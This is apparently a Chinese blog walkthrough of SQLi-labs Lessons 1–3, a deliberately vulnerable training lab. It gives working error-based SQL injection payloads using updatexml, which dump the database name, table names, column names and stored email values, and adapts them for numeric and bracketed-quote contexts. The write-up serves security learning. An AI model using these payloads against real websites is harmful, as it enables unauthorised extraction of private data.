Less 1-3

LESS-1

 首先确认一下是否存在注入,加上?id=1,能够显示数据,然后加一个',出现报错,这样就说明存在注入点。接下来进行报错注入。

输入 ' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆出当前数据库名为security,然后爆表。

输入 ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0x7e),1)--+

 

 表名为emails,再爆字段。

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name = 'emails' limit 1,1)),0x7e),1)--+

 其中第二个字段为email_id,更改limit后面的参数就可以获取不同的字段名。再获取数据。

' and updatexml(1,concat(0x7e,(select email_id from security.emails limit 1,1)),0x7e),1)--+

LESS--2

 

 输入?id=1',报错如上图。存在注入。

输入单引号,根据报错信息确定咱们输入的内容被原封不动的带入到数据库中,也可叫做数字型注入,

就是,把第一题中id=1后面的单引号去掉,其它保持不变就行了,不再赘述。

LESS-3

输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select ... from ... where id=(‘1’) ...,在第一题中id=1‘的后面单引号加上),其它保持不变就行了,不再赘述。

') and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

原文地址:https://www.cnblogs.com/baifan2618/p/12218340.html